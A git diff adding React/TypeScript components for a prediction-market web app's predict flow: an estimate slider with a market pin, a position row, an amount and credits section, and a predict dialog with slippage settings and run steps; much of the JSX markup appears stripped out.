    +            {templateRows.slice(0, 2).map((row) => `\n${row.name},${row.estimate ?? ""}`)}
    +            {templateRows.length > 2 ? {"\n…"} : null}
    +          
    +

    + Names must match the {noun} on this page. An estimate outside its range is refused. +

    +
    + + downloadTextFile("estimates-template.csv", serializeEstimateCsv(templateRows), "text/csv")} + /> + + { + setError(undefined); + setFile(chosen); + }} + acceptedFileTypes={[".csv", "text/csv"]} + selectedFile={file} + msg={error ?? "A .csv file with the columns above"} + variant={error ? "error" : "info"} + /> + +
    +
    +
    + + ); +} diff --git a/apps/web/src/features/predict/components/EstimateSlider.tsx b/apps/web/src/features/predict/components/EstimateSlider.tsx new file mode 100644 index 00000000..25818281 --- /dev/null +++ b/apps/web/src/features/predict/components/EstimateSlider.tsx @@ -0,0 +1,460 @@ +import { forwardRef, useEffect, useRef, useState, type KeyboardEvent } from "react"; + +import { Slider } from "@kleros/ui-components-library"; +import clsx from "clsx"; + +import ArrowDown from "@/assets/svg/long-arrow-down.svg"; +import ArrowUp from "@/assets/svg/long-arrow-up.svg"; +import PencilIcon from "@/assets/svg/pencil.svg"; + +import { formatEstimate } from "@/utils/formatEstimate"; + +import type { OptionScale } from "@/types/optionScale"; + +import { useMarketPin } from "../hooks/useMarketPin"; +import { estimateDigits, estimateDirection, estimateStep, readTypedEstimate, snapEstimate } from "../utils/estimates"; +import { chipLeft, droppedChipLeft, fieldMaxWidth, pinDrop, pinGap } from "../utils/marketPin"; + +interface EstimateSliderProps { + scale: OptionScale; + /** Where the market sits now; undefined where the option has no trading. */ + marketEstimate: number | undefined; + isMarketPending: boolean; + /** The saved estimate, if one is set. */ + value: number | undefined; + onCommit: (value: number) => void; + onClear: () => void; + /** Set when the session as a whole cannot take estimates; shown in place of the hint. */ + lockedReason?: string; +} + +const ESTIMATE_COLOR = { higher: "var(--fs-estimate-up)", lower: "var(--fs-estimate-down)" } as const; +/** The pill's text, in the hint's colour, on a 12% wash of the fill's. */ +const PILL_TONE = { + higher: { color: "var(--fs-tone-success-text)", wash: "var(--fs-estimate-up)" }, + lower: { color: "var(--fs-tone-error-text)", wash: "var(--fs-estimate-down)" }, +} as const; + +/** `value` to `digits` places with trailing zeros cut; `String(number)` turns a small one into `5e-8`, which the field refuses. */ +const plainDecimal = (value: number, digits: number): string => { + const fixed = value.toFixed(digits); + return fixed.includes(".") ? fixed.replace(/0+$/, "").replace(/\.$/, "") : fixed; +}; + +/** The chip's travel from its place above the track to 2px under the thumb, in px. */ +const PIN_DROP_PX = 52; +/** The stick from the raised chip down to the track, in px. */ +const STICK_PX = 14; + +/** + * An estimate on the option's own scale: the gap between the market and the thumb, and the thumb, take + * the direction's colour, and the market's pin dips as the thumb's value nears it and drops under the track once it is close. + * The value above the thumb is a pill that opens as a field; a typed number is applied on Enter or blur. + */ +export function EstimateSlider({ + scale, + marketEstimate, + isMarketPending, + value, + onCommit, + onClear, + lockedReason, +}: EstimateSliderProps) { + const range = scale.upperBound - scale.lowerBound; + // react-aria snaps a controlled value to the step, so the market's number is held on the same grid + const step = estimateStep(scale); + const shown = value ?? marketEstimate ?? scale.lowerBound + range / 2; + const reason = + lockedReason ?? (marketEstimate === undefined && !isMarketPending ? "No trading on this option yet." : undefined); + const isDisabled = reason !== undefined || isMarketPending; + // an object, so each note is its own: a listener armed for one never clears the next + const [note, setNote] = useState<{ text: string }>(); + const say = (text: string | undefined) => setNote(text === undefined ? undefined : { text }); + // held here, so the pin measures the open field's width + const [draft, setDraft] = useState(); + // a field open when the slider locks is dropped, not reopened once it unlocks + if (isDisabled && draft !== undefined) setDraft(undefined); + + // a note answers one entry, so the next focus or press hands the line back to the hint; + // listening from the next task leaves out the focus and press that delivered it + useEffect(() => { + if (!note) return; + const clear = () => setNote((current) => (current === note ? undefined : current)); + const events = ["focusin", "focusout", "pointerdown"] as const; + const timer = setTimeout(() => events.forEach((name) => document.addEventListener(name, clear))); + return () => { + clearTimeout(timer); + events.forEach((name) => document.removeEventListener(name, clear)); + }; + }, [note]); + + const commit = (next: number) => { + const snapped = snapEstimate(next, scale); + if (marketEstimate !== undefined && snapped === marketEstimate) onClear(); + else onCommit(snapped); + }; + + const direction = marketEstimate !== undefined ? estimateDirection(shown, marketEstimate) : null; + const tone = direction && !isDisabled ? ESTIMATE_COLOR[direction] : undefined; + const thumbShare = (shown - scale.lowerBound) / range; + const marketShare = marketEstimate === undefined ? undefined : (marketEstimate - scale.lowerBound) / range; + const pin = useMarketPin({ holdPill: draft !== undefined }); + const drop = marketShare === undefined ? 0 : pinDrop(pinGap(pin.sizes, { thumb: thumbShare, market: marketShare })); + const isDown = drop === 1; + const chipAt = + marketShare === undefined ? 0 : isDown ? droppedChipLeft(pin.sizes, marketShare) : chipLeft(pin.sizes, marketShare); + const covers = { + lower: pin.sizes.track > 0 && chipAt < pin.sizes.lower, + upper: pin.sizes.track > 0 && chipAt + pin.sizes.chip > pin.sizes.track - pin.sizes.upper, + }; + const dipPx = drop * PIN_DROP_PX; + // the pin holds still while the field is open, so a long draft is held short of a raised chip instead + const fieldMax = + marketShare === undefined || isDown + ? undefined + : fieldMaxWidth(pin.sizes, { thumb: thumbShare, market: marketShare }); + + return ( +
    + {/* pt-10 holds the raised pin's caption, pb-3 the dropped one's */} +
    +
    + #slider-label)]:z-10", + "[&_div:has(>#slider-label)]:before:absolute [&_div:has(>#slider-label)]:before:-inset-3.25", + "[&_div:has(>#slider-label)]:before:content-['']", + "[&_div:has(>#slider-label)[data-focus-visible]]:ring-fs-focus-ring", + "[&_div:has(>#slider-label)[data-focus-visible]]:ring-2", + "[&_div:has(>#slider-label)[data-focus-visible]]:ring-offset-2", + "[&_div:has(>#slider-label)[data-focus-visible]]:ring-offset-fs-surface", + // at the market the fill is the brand axis + !tone && !isDisabled && "[&_#slider-fill]:bg-(image:--fs-popup-axis)", + isDisabled && "opacity-50", + )} + aria-label={`Your estimate for ${scale.name}`} + minValue={scale.lowerBound} + maxValue={scale.upperBound} + step={step} + value={shown} + leftLabel="" + rightLabel="" + formatter={(amount) => formatEstimate(amount, scale.unit)} + callback={(next) => { + setNote(undefined); + commit(next); + }} + isDisabled={isDisabled} + theme={ + isDisabled + ? { + sliderColor: "var(--fs-popup-track-dot)", + thumbColor: "var(--fs-popup-track-dot)", + trackColor: "var(--fs-popup-track)", + labelColor: "var(--fs-text-primary)", + } + : { + // with a direction the span below draws the gap to the market, so the library's fill from 0 steps aside + sliderColor: tone ? "transparent" : "var(--fs-popup-axis-from)", + thumbColor: tone ?? "var(--fs-popup-axis-to)", + trackColor: "var(--fs-popup-track)", + labelColor: "var(--fs-text-primary)", + } + } + /> + {tone && marketShare !== undefined ? ( + + ) : null} + {isDisabled && value !== undefined ? ( + + {formatEstimate(shown, scale.unit)} + + ) : null} + {!isDisabled ? ( + setNote(undefined)} + onTyped={(typed) => { + const clamped = Math.min(scale.upperBound, Math.max(scale.lowerBound, typed)); + const snapped = snapEstimate(clamped, scale); + const named = (point: number) => formatEstimate(point, scale.unit, estimateDigits(scale)); + say( + typed > scale.upperBound + ? `The most is ${named(snapped)}.` + : typed < scale.lowerBound + ? `The least is ${named(snapped)}.` + : snapped !== clamped + ? `Rounded to ${named(snapped)}.` + : undefined, + ); + commit(snapped); + }} + onInvalid={say} + /> + ) : null} + {marketShare !== undefined ? ( +
    + {/* only the chip is in flow, so the caption changing sides never shifts it */} +
    0 + ? `translateX(${chipAt - marketShare * pin.sizes.track}px)` + : `translateX(-${marketShare * 100}%)`, + }} + > + + {formatEstimate(marketEstimate!, scale.unit)} + + {/* holds the chip at least as wide as its caption */} + + Market + + {(["up", "down"] as const).map((side) => ( + + Market + + ))} +
    + +
    + ) : null} +
    + {/* a dropped chip that cannot slide clear of a bound covers it, so the bound steps aside */} + + {formatEstimate(snapEstimate(scale.lowerBound, scale), scale.unit)} + + + {formatEstimate(snapEstimate(scale.upperBound, scale), scale.unit)} + +
    +
    +
    + +

    + {/* mounted empty, so a screen reader hears the note when it arrives */} + {note?.text} + {note ? null : reason ? ( + {reason} + ) : isMarketPending ? ( + "Loading the market…" + ) : direction !== null && marketEstimate !== undefined ? ( + + ) : ( + "At the market. Move it to predict." + )} +

    +
    + ); +} + +interface ValuePillProps { + /** The thumb's place on the track, 0 to 1. */ + share: number; + shown: number; + scale: OptionScale; + /** Which side of the market the value is on; null at the market. */ + direction: "higher" | "lower" | null; + /** The field's text while it is open. */ + draft: string | undefined; + /** The closed pill's width in px; the open field is never narrower, so opening it moves nothing. */ + minWidth: number; + /** The open field's widest, in px; past it the typed number scrolls inside the field. */ + maxWidth: number | undefined; + onDraft: (draft: string | undefined) => void; + onOpen: () => void; + onTyped: (value: number) => void; + onInvalid: (message: string) => void; +} + +const ValuePill = forwardRef(function ValuePill( + { share, shown, scale, direction, draft, minWidth, maxWidth, onDraft: setDraft, onOpen, onTyped, onInvalid }, + ref, +) { + const button = useRef(null); + const returnFocus = useRef(false); + const [landed, setLanded] = useState(false); + const tone = direction ? PILL_TONE[direction] : undefined; + const editing = draft !== undefined; + + useEffect(() => { + if (editing || !returnFocus.current) return; + returnFocus.current = false; + button.current?.focus(); + }, [editing]); + + const close = (refocus: boolean) => { + returnFocus.current = refocus; + setDraft(undefined); + }; + + /** Enter keeps the field open on text that is not a number; a blur closes it unchanged. */ + const apply = (byEnter: boolean) => { + const typed = readTypedEstimate(draft ?? "", scale.unit); + if ((draft ?? "").trim() === "") return close(byEnter); + if (!Number.isFinite(typed)) return byEnter ? onInvalid("Enter a number.") : close(false); + onTyped(typed); + setLanded(true); + close(byEnter); + }; + + const onKeyDown = (event: KeyboardEvent) => { + if (event.key === "Enter") { + event.preventDefault(); + apply(true); + } else if (event.key === "Escape") { + event.preventDefault(); + event.stopPropagation(); + close(true); + } + }; + + return ( + + {editing ? ( + + setDraft(event.target.value)} + onKeyDown={onKeyDown} + onBlur={() => apply(false)} + onFocus={(event) => event.target.select()} + // as wide as what is typed, so the unit stays beside the number + style={{ width: `calc(${Math.min(Math.max((draft ?? "").length, 2), 14)}ch + 2px)` }} + className="text-fs-text-primary min-w-0 bg-transparent font-semibold tabular-nums outline-none" + /> + {scale.unit ? {scale.unit} : null} + + ) : ( + + )} + + ); +}); + +function DirectionHint({ direction, gap, unit }: { direction: "higher" | "lower"; gap: number; unit: string | null }) { + const higher = direction === "higher"; + const Arrow = higher ? ArrowUp : ArrowDown; + return ( + + + {`${formatEstimate(gap, unit)} ${higher ? "above" : "below"} the market`} + + ); +} diff --git a/apps/web/src/features/predict/components/GearIcon.tsx b/apps/web/src/features/predict/components/GearIcon.tsx new file mode 100644 index 00000000..a7bcb4b9 --- /dev/null +++ b/apps/web/src/features/predict/components/GearIcon.tsx @@ -0,0 +1,13 @@ +export function GearIcon({ className }: { className?: string }) { + return ( + + + + + ); +} diff --git a/apps/web/src/features/predict/components/PositionRow.tsx b/apps/web/src/features/predict/components/PositionRow.tsx new file mode 100644 index 00000000..8ccea598 --- /dev/null +++ b/apps/web/src/features/predict/components/PositionRow.tsx @@ -0,0 +1,89 @@ +import clsx from "clsx"; + +import WithHelpTooltip from "@/components/ui/WithHelpTooltip"; + +import ArrowDown from "@/assets/svg/long-arrow-down.svg"; +import ArrowUp from "@/assets/svg/long-arrow-up.svg"; + +import { formatDisplayAmount } from "@/utils/amount"; +import { formatEstimate } from "@/utils/formatEstimate"; + +import type { OptionScale } from "@/types/optionScale"; + +import type { SelectedEstimate } from "../types"; +import { POSITION_DIGITS, positionLeaning, positionWorth, type OptionPosition } from "../utils/position"; + +/** What the trade wallet holds of one option, once a prediction has been placed on it. */ +export function PositionRow({ + scale, + position, + marketEstimate, + decimals, + estimate, +}: { + scale: Pick; + position: OptionPosition; + /** Undefined while the market is unknown, which leaves the value out. */ + marketEstimate: number | undefined; + /** Outcome tokens count in the collateral's base units. */ + decimals: number; + /** The estimate set on the slider above, if one is. */ + estimate?: Pick; +}) { + const leaning = positionLeaning(position); + const amount = (value: bigint) => formatDisplayAmount(value, decimals, POSITION_DIGITS); + const side = leaning === "higher" ? "UP" : "DOWN"; + + return ( +
    +
    + {/* a figure never breaks; DOWN wraps under UP where the two do not fit one line */} + + {"You hold "} + + {`${amount(position.up)} UP`} + {"\u00a0· "} + {`${amount(position.down)} DOWN`} + + + {marketEstimate !== undefined ? ( + + {/* the card's title and the help name the option, so the figure stays on one line */} + + {`≈ ${amount(positionWorth(position, marketEstimate, scale))} tokens`} + + + ) : null} +
    + {/* held empty without an estimate, so the card keeps one height as the slider crosses the market */} + {leaning ? ( +

    + {estimate ? ( + <> + {estimate.direction === "higher" ? ( + + ) : ( + + )} + {estimate.direction === leaning + ? `${formatEstimate(estimate.value, scale.unit)} adds to ${side}` + : `${formatEstimate(estimate.value, scale.unit)} sells some ${side}`} + + ) : null} +

    + ) : null} +
    + ); +} diff --git a/apps/web/src/features/predict/components/PredictAmountSection.tsx b/apps/web/src/features/predict/components/PredictAmountSection.tsx new file mode 100644 index 00000000..4c2f1de0 --- /dev/null +++ b/apps/web/src/features/predict/components/PredictAmountSection.tsx @@ -0,0 +1,349 @@ +import { useCallback, useEffect, useLayoutEffect, useRef, useState } from "react"; + +import { BigNumberField, Slider } from "@kleros/ui-components-library"; +import clsx from "clsx"; +import { formatUnits, parseUnits } from "viem"; + +import LightButton from "@/components/ui/LightButton"; +import { Select } from "@/components/ui/Select"; + +import DaiIcon from "@/assets/svg/dai.svg"; + +import { formatDisplayAmount, ownedAmount } from "@/utils/amount"; + +import type { PayToken } from "../types"; +import { PredictCreditsLine, type CreditsChoice } from "./PredictCreditsLine"; +import { fundingSummary, percentOf, roundToDisplay, shareOf, type Funding } from "../utils/funding"; + +export interface PayTokenChoice { + id: PayToken; + symbol: string; + decimals: number; +} + +interface PredictAmountSectionProps { + amount: bigint | undefined; + onAmountChange: (amount: bigint | undefined) => void; + tokens: PayTokenChoice[]; + token: PayTokenChoice; + onTokenChange: (token: PayToken) => void; + /** Null while the balances are still being read. */ + funding: Funding | null; + collateral: { symbol: string; decimals: number }; + isFirstPrediction: boolean; + isReadOnly: boolean; + /** No wallet is connected, so no balance is being read. */ + isDisconnected?: boolean; + /** Said in place of the funding summary and the balance, for an amount the visitor cannot change. */ + note?: string; + /** The visitor's credits; no line where they hold none worth offering. */ + credits?: CreditsChoice; +} + +const RETURNING_COPY = "You've predicted before, so you can change it without adding funds."; +/** The amount's font sizes, largest first; below 16px a phone zooms the page into the focused field. */ +const AMOUNT_SIZES = [30, 24, 20, 16]; + +export function PredictAmountSection({ + amount, + onAmountChange, + tokens, + token, + onTokenChange, + funding, + collateral, + isFirstPrediction, + isReadOnly, + isDisconnected = false, + note, + credits, +}: PredictAmountSectionProps) { + const available = funding?.available; + const over = amount !== undefined && available !== undefined && amount > available; + // a locked amount is the one a run started with; a balance read since cannot make it too much + const notEnough = over && !isReadOnly; + const roundDown = (value: bigint) => roundToDisplay(value, token.decimals); + // the balance, Max and the slider name the visitor's money alone; the credits line has its own max + const money = available === undefined ? undefined : available - (funding?.creditsAvailable ?? 0n); + const max = money === undefined ? undefined : roundDown(money); + const summary = note + ? { text: note, tone: "neutral" } + : over && isReadOnly + ? null + : !isFirstPrediction && funding && !amount + ? { text: RETURNING_COPY, tone: "neutral" } + : fundingSummary({ funding, amount, token, collateral }); + + const { field, fit } = useFittedAmount(); + const [isEditing, setIsEditing] = useState(false); + // the library groups only in its own blur handler, so a value set from outside shows ungrouped until then + const atRest = + !isEditing && amount ? { value: formatDisplayAmount(amount, token.decimals, token.decimals) } : undefined; + const noBalance = Boolean(note) || isDisconnected; + const isRead = !isDisconnected && available !== undefined; + const figure = isDisconnected + ? "No wallet connected" + : money === undefined + ? "Reading balance…" + : `${ownedAmount(money, token.decimals)} ${token.symbol}`; + const creditsMax = funding && funding.creditsAvailable > 0n ? roundDown(funding.creditsAvailable) : 0n; + + return ( +
    + {/* the balance wraps under the title only when the two do not fit one line, and always on a phone under 375px */} +
    +

    + {isFirstPrediction ? "You pay" : "Extra funds"} + {/* either title takes the wider one's room, so a returning predictor's row wraps where a first one's does */} + {isFirstPrediction ? ( + + Extra funds + + ) : null} +

    +
    + {/* a note stands in for the balance, which keeps its room so the row wraps as it would; + where the figure does not fit beside "Balance:", the label wraps onto a hidden second line */} + + {isRead ? Balance: : null} + + {figure} + + + max !== undefined && onAmountChange(max)} + className={clsx( + // a 44px target that takes no more height than its label, reaching into the gap before it + "-my-3 -ml-2 min-h-11 min-w-11 shrink-0 justify-end rounded-md! p-0 hover:bg-transparent!", + "[&_.button-text]:text-fs-popup-accent-text [&_.button-text]:text-xs [&_.button-text]:font-semibold", + "[&_.button-text]:tracking-wide [&_.button-text]:uppercase", + "data-disabled:[&_.button-text]:text-fs-popup-text-3", + // hidden, not removed, so the row keeps its shape + noBalance && "invisible", + )} + /> +
    +
    + +
    event.target instanceof HTMLInputElement && setIsEditing(true)} + // the library rewrites the value after a blur, in its own render + onBlur={(event) => { + if (event.target instanceof HTMLInputElement) setIsEditing(false); + requestAnimationFrame(fit); + }} + className={clsx( + "mt-2 flex h-11 flex-row items-center gap-3 short:mt-1.5 short:h-10", + "transition-opacity duration-(--fs-dur-enter) ease-(--fs-ease-enter)", + isReadOnly && "opacity-50", + )} + > + label]:sr-only", + "[&_input]:h-11 [&_input]:border-none [&_input]:bg-transparent [&_input]:px-0 [&_input]:shadow-none!", + "[&_input]:text-[30px] [&_input]:leading-9 [&_input]:font-medium", + // the library's stepper arrows would sit over the last digits + "[&_.input-wrapper>div:has(>button)]:hidden!", + "[&_input]:tracking-[-0.02em] [&_input]:tabular-nums [&_input]:placeholder:text-fs-popup-text-3", + "[&_input]:focus:shadow-none", + // a focus scroll on a phone on its side keeps the line under the field above the sticky button + "landscape-phone:[&_input]:scroll-mb-12", + // the line under the field names the limit, so too much tints the digits rather than adding an icon + notEnough + ? "[&_input]:text-fs-tone-error-text [&_.input-wrapper>svg]:hidden" + : "[&_input]:text-fs-popup-text", + )} + minValue="0" + placeholder="0" + variant={notEnough ? "error" : undefined} + value={amount !== undefined ? formatUnits(amount, token.decimals) : undefined} + // toString goes exponential below 1e-7, which parseUnits refuses + onChange={(entered) => onAmountChange(toUnits(entered.toFixed(), token.decimals))} + isReadOnly={isReadOnly} + inputProps={atRest} + /> + onUsingChange(event.target.checked)} + /> + + + + + + {/* under 272px of panel the name gives way to Max credits; the input keeps it as its label */} + + Use Foresight credits + + + Use credits + + + ) : ( + Foresight credits + )} + onUseMax?.()} + className={clsx( + // a 44px target that takes no more height than its label + "-my-3 -mr-2 min-h-11 shrink-0 justify-end rounded-md! px-2 hover:bg-transparent!", + "[&_.button-text]:text-fs-popup-accent-text [&_.button-text]:text-xs [&_.button-text]:font-semibold", + "[&_.button-text]:tracking-wide [&_.button-text]:uppercase", + "transition-opacity duration-(--fs-dur-enter) ease-(--fs-ease-enter)", + // hidden, not removed, so the row keeps its shape + !canUseMax && "invisible opacity-0", + )} + /> +
    +

    + {note} +

    +
    + ); +} diff --git a/apps/web/src/features/predict/components/PredictDialog.tsx b/apps/web/src/features/predict/components/PredictDialog.tsx new file mode 100644 index 00000000..d199b905 --- /dev/null +++ b/apps/web/src/features/predict/components/PredictDialog.tsx @@ -0,0 +1,616 @@ +"use client"; + +import { useEffect, useId, useRef, useState, useSyncExternalStore } from "react"; + +import clsx from "clsx"; + +import LightButton from "@/components/ui/LightButton"; +import { Modal } from "@/components/ui/Modal"; +import { ScrollFade } from "@/components/ui/ScrollFade"; + +import CloseIcon from "@/assets/svg/close.svg"; + +import { formatEstimate } from "@/utils/formatEstimate"; +import { INERT } from "@/utils/inert"; + +import type { PayToken } from "../types"; +import { GearIcon } from "./GearIcon"; +import { PredictAmountSection, type PayTokenChoice } from "./PredictAmountSection"; +import { PredictButton } from "./PredictButton"; +import type { CreditsChoice } from "./PredictCreditsLine"; +import { PredictList, type ListedEstimate, type PriceMove } from "./PredictList"; +import { PredictSettings, reachable } from "./PredictSettings"; +import { PredictStepsTimeline } from "./PredictStepsTimeline"; +import { PredictSummary, type CreditsSwapShown } from "./PredictSummary"; +import { StatusGlyph } from "./StatusGlyph"; +import { HIGH_SLIPPAGE_BPS } from "../oracle/tolerances"; +import { shownAmount, shownSplit, type Funding } from "../utils/funding"; +import { + CHECKING_PRICES, + CONFIRM_MOVED, + CONFIRM_SLIPPAGE, + statusLine, + type MovedStatus, + type PredictSteps, +} from "../utils/predictSteps"; +import { resolveSlippage, type SlippageKind, type SlippageSettings } from "../utils/slippage"; + +interface PredictDialogProps { + isOpen: boolean; + onClose: () => void; + selected: ListedEstimate[]; + onRemove: (market: string) => void; + /** Where each listed option's market would move, keyed by lower-case market. */ + preview?: Record; + amount: bigint | undefined; + onAmountChange: (amount: bigint | undefined) => void; + tokens: PayTokenChoice[]; + token: PayTokenChoice; + onTokenChange: (token: PayToken) => void; + /** Null while the balances are still being read. */ + funding: Funding | null; + collateral: { symbol: string; decimals: number }; + /** The visitor's credits and their tick; absent where they hold none. */ + credits?: CreditsChoice; + /** One option, as the session names it: `city`. */ + optionNoun: string; + isFirstPrediction: boolean; + isDisconnected?: boolean; + steps: PredictSteps; + /** Estimates the run could not find a route for and left out. */ + leftOut: number; + /** A run is between its first signature and its end. */ + isRunning: boolean; + /** The running step's transaction is stored as sent, so closing leaves it for the next popup to wait on. */ + canClose?: boolean; + /** A stopped run can pick up where it stopped, with the amount and estimates it was started with. */ + canRetry: boolean; + /** The stopped run sent a transaction whose outcome is unknown; pressing on checks it first. */ + isPending?: boolean; + /** A held send may still be open in the wallet; pressing on signs its step again. */ + asksToSignAgain?: boolean; + /** Checks a sent transaction before discarding; unresolved transactions stay saved. */ + onDiscard?: () => void; + /** + * A stored run under review: its own deposit fills the locked amount form, Resume replaces Predict, and Details + * names its own slippage, the credits swap's only while that swap is still to sign. + */ + recovered?: { + deposit: bigint; + funding: Pick; + depositSettled: boolean; + firstBatchSettled: boolean; + token: PayTokenChoice; + /** The collateral an xDAI deposit becomes, said beside it; absent for a collateral deposit. */ + deposited?: bigint; + slippage: { tradeBps: number; creditsBps?: number }; + }; + /** What the visitor has to do before this prediction can be made, if anything. */ + notice?: string; + /** The visitor's slippage, which the settings panel changes. */ + slippage: { settings: SlippageSettings; onChange: (kind: SlippageKind, bps: number | null) => void }; + /** Credits the run would swap into xDAI and the swap as quoted now; absent where it spends none. */ + creditsSwap?: CreditsSwapShown; + firstBatchSettled?: boolean; + /** What changed when the pools were read again before signing; the button then confirms the new figures. */ + moved?: { markets: number; credits: boolean; bySlippage?: true }; + /** Every option's plan is read, and the credits swap's quote where credits are spent, so Predict holds the run to them. */ + pricesReady: boolean; + /** Declines the moved figures and gives the form back, where nothing has been signed. */ + onBack?: () => void; + /** Reads the prices again where they could not be read; the button then offers it. */ + onRetryPrices?: () => void; + /** The prices are being read again. */ + isRetryingPrices?: boolean; + /** Starts a run, picks a stopped one up again, or confirms moved prices. */ + onPredict: () => void; +} + +/** What `value` was when `lock` last took a new key, held until it is null. */ +function useHeldWhile(value: T, lock: string | null): T { + const [held, setHeld] = useState<{ value: T; lock: string } | null>(lock === null ? null : { value, lock }); + if (lock !== null && held?.lock !== lock) setHeld({ value, lock }); + if (lock === null && held) setHeld(null); + return lock !== null && held?.lock === lock ? held.value : value; +} + +/** A credits swap losing at least this share of the credits' value is said on the status line before a run. */ +const LOUD_LOSS_BPS = BigInt(HIGH_SLIPPAGE_BPS.creditsBps); + +/** The one market whose plan changed, where it now goes and where it went, for the status line. */ +function onlyMoved(selected: ListedEstimate[], preview: Record | undefined): MovedStatus["only"] { + const changed = selected.filter((estimate) => preview?.[estimate.scale.market.toLowerCase()]?.was); + if (changed.length !== 1) return undefined; + const estimate = changed[0]!; + const move = preview![estimate.scale.market.toLowerCase()]!; + const format = (value: number) => formatEstimate(value, estimate.scale.unit); + const [to, was] = [format(move.to), format(move.was!.to)]; + return to === was ? undefined : { name: estimate.scale.name, to, was }; +} + +/** The busy button for a running step that is not waiting on the wallet. */ +const BUSY_COPY: Record = { + wallet: "Setting up…", + funds: "Adding funds…", + predict: "Predicting…", +}; + +/** What the running step is waiting on, for the busy button: `Confirm in your wallet`, without a batch count. */ +function busyLabel(steps: PredictSteps): string { + const running = steps.rows.find((row) => row.view === "running"); + return running?.subtitle.split(" · ").at(-1) || BUSY_COPY[running?.key ?? "predict"]; +} + +function recoveryNote( + recovered: NonNullable, + collateral: { symbol: string; decimals: number }, +): string { + if (recovered.deposited === undefined) return "Locked to this prediction's amount."; + const deposited = shownAmount(recovered.deposited, collateral.decimals); + return `Locked to this prediction's amount; the deposit ≈ ${deposited} ${collateral.symbol}.`; +} + +// the width under which the moved footer stacks, as its [@media(max-width:374px)] classes say +const STACKED = "(max-width: 374px)"; +const subscribeStacked = (onChange: () => void) => { + const query = window.matchMedia?.(STACKED); + query?.addEventListener("change", onChange); + return () => query?.removeEventListener("change", onChange); +}; +const isStackedNow = () => window.matchMedia?.(STACKED).matches ?? false; + +/** + * Futarchy's predict popup: the estimates, the amount, a summary of the markets it moves, then the run's steps. + * Every region has a fixed height, so the dialog keeps one size from the first look through signing, a failure + * and the end of the run; only the summary, opened by the visitor, adds to it. + */ +export function PredictDialog({ + isOpen, + onClose, + selected, + onRemove, + preview, + amount, + onAmountChange, + tokens, + token, + onTokenChange, + funding, + collateral, + credits, + optionNoun, + isFirstPrediction, + isDisconnected, + steps, + leftOut, + isRunning, + canClose = false, + canRetry, + isPending = false, + asksToSignAgain = false, + onDiscard, + recovered, + notice, + slippage, + creditsSwap, + firstBatchSettled = false, + moved, + pricesReady, + onBack, + onRetryPrices, + isRetryingPrices = false, + onPredict, +}: PredictDialogProps) { + const isMoved = moved !== undefined; + const isHeld = isRunning || canRetry || recovered !== undefined; + // at moved the visitor confirms the figures as shown, so the form cannot change under them + const isLocked = isHeld || isMoved; + // what is shown is held through a run, and taken afresh as the run stops at moved or goes on from it + const lock = isMoved ? "moved" : isHeld ? "run" : null; + const tooMuch = funding !== null && amount !== undefined && amount > funding.available; + // with nothing held, an empty amount has nothing to trade with + const nothingToTrade = isFirstPrediction && (funding?.collateralIn ?? 0n) === 0n; + const isPricing = steps.pricing === true; + const runToken = recovered?.token; + // a refreshed balance or re-priced preview would change what the visitor is reading mid-run; a Confirm at moved + // signs the funding read at Predict, so the funding alone is held through moved as well + const shownFunding = useHeldWhile(funding, isLocked ? "run" : null); + const shownPreview = useHeldWhile(preview, lock); + const shownCreditsSwap = useHeldWhile(creditsSwap, recovered && !isRunning && !isMoved ? null : lock); + const swap = shownCreditsSwap?.preview; + const mintFunding = recovered?.funding ?? shownFunding; + const mintAmount = mintFunding ? shownSplit(mintFunding, swap?.minted) : undefined; + const mintSettled = recovered?.firstBatchSettled ?? firstBatchSettled; + const resolved = resolveSlippage(slippage.settings); + // the swap lands with the first batch, after the figures were held, so whether it has is read live + const swapLanded = Boolean(creditsSwap?.landed || shownCreditsSwap?.landed); + const inUse = { + tradeBps: resolved.tradeBps, + ...(shownCreditsSwap && !swapLanded ? { creditsBps: resolved.creditsBps } : {}), + }; + const status = statusLine({ + steps, + notice, + leftOut, + moved: moved && { ...moved, only: onlyMoved(selected, shownPreview) }, + creditsLoss: + swap && swap.loss * 10_000n >= swap.vaultValue * LOUD_LOSS_BPS + ? `≈\u00a0${shownAmount(swap.loss, 18)}\u00a0xDAI` + : undefined, + }); + // the visitor's choice, but for moved figures, which the status line asks them to check there + const [summaryOpen, setSummaryOpen] = useState(isMoved); + const [wasMoved, setWasMoved] = useState(isMoved); + if (isMoved !== wasMoved) { + setWasMoved(isMoved); + if (isMoved) setSummaryOpen(true); + } + const bodyRef = useRef(null); + useEffect(() => { + if (!isMoved) return; + // after the summary's rows unfold, so the first changed figure is where it scrolls to + const unfold = parseFloat(getComputedStyle(document.documentElement).getPropertyValue("--fs-dur-enter")) || 0; + const timer = setTimeout(() => { + const reduce = window.matchMedia?.("(prefers-reduced-motion: reduce)").matches; + bodyRef.current + ?.querySelector("[data-testid=market-was], [data-testid=credits-was]") + ?.scrollIntoView?.({ block: "nearest", behavior: reduce ? "auto" : "smooth" }); + }, unfold); + return () => clearTimeout(timer); + }, [isMoved]); + const statusRef = useRef(null); + // a stopped run's retry takes up new settings and stops at moved where they change its plan; a stored run + // has no plan shown to check against, and a sent transaction is settled before anything else + const settingsLocked = isRunning || isMoved || recovered !== undefined || isPending; + const [settingsWanted, setSettingsWanted] = useState(false); + const settingsOpen = settingsWanted && !settingsLocked; + const isCustomSlippage = + slippage.settings.tradeBps !== null || (credits !== undefined && slippage.settings.creditsBps !== null); + const customId = useId(); + const settingsId = useId(); + const titleId = useId(); + const gearRef = useRef(null); + const firstSetting = useRef(null); + const settingsPanel = useRef(null); + const settingsWereOpen = useRef(false); + useEffect(() => { + if (settingsOpen) firstSetting.current?.focus(); + else if (settingsWereOpen.current) gearRef.current?.focus(); + settingsWereOpen.current = settingsOpen; + }, [settingsOpen]); + const statusText = status?.text; + // where the whole popup scrolls, the status line sits under the fold; during a run, the timeline's scroll to its step rules + useEffect(() => { + if (!isOpen || statusText === undefined || isRunning) return; + const reduce = window.matchMedia?.("(prefers-reduced-motion: reduce)").matches; + const frame = requestAnimationFrame(() => + statusRef.current?.scrollIntoView?.({ block: "nearest", behavior: reduce ? "auto" : "smooth" }), + ); + return () => cancelAnimationFrame(frame); + }, [isOpen, statusText, isRunning]); + + // stacked, Go back follows Confirm in the DOM as on screen, so focus runs top to bottom + const isStacked = useSyncExternalStore(subscribeStacked, isStackedNow, () => false); + const goBack = onBack ? ( +
    + +
    + ) : null; + const discard = onDiscard ? ( +
    + +
